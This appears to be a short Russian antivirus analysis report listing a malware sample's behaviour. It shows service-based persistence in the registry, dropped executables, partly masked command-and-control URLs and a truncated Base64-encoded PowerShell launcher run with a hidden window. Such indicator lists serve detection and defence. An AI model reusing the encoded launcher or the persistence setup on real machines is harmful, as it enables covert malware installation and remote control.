Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\clientclient] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\clientclient] 'ImagePath' = '"%WINDIR%\SysWOW64\clientclient.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncoD PAAjACAASwBqAGUAdABmAGoAdwB6AGoAaQBjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAFoAaABrAGoAagBhAHoAbwBmAGoAcQAgACMAPgAgACQAQQBuAHEAbwBoAGIAbwBkAGgAPQAnAEwAZg...
- %HOMEPATH%\332.exe
- %HOMEPATH%\332.exe в %WINDIR%\syswow64\clientclient.exe
- http://19#.#17.1.149/vermont/bml/ringin/merge/
- http://15#.###.227.206:8080/report/glitch/ringin/merge/ via 15#.#20.227.206
- DNS ASK ar###ore.com.vn
- '%HOMEPATH%\332.exe'
- '%WINDIR%\syswow64\clientclient.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncoD PAAjACAASwBqAGUAdABmAGoAdwB6AGoAaQBjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAFoAaABrAGoAagBhAHoAbwBmAGoAcQAgACMAPgAgACQAQQBuAHEAbwBoAGIAbwBkAGgAPQAnAEwAZg...' (со скрытым окном)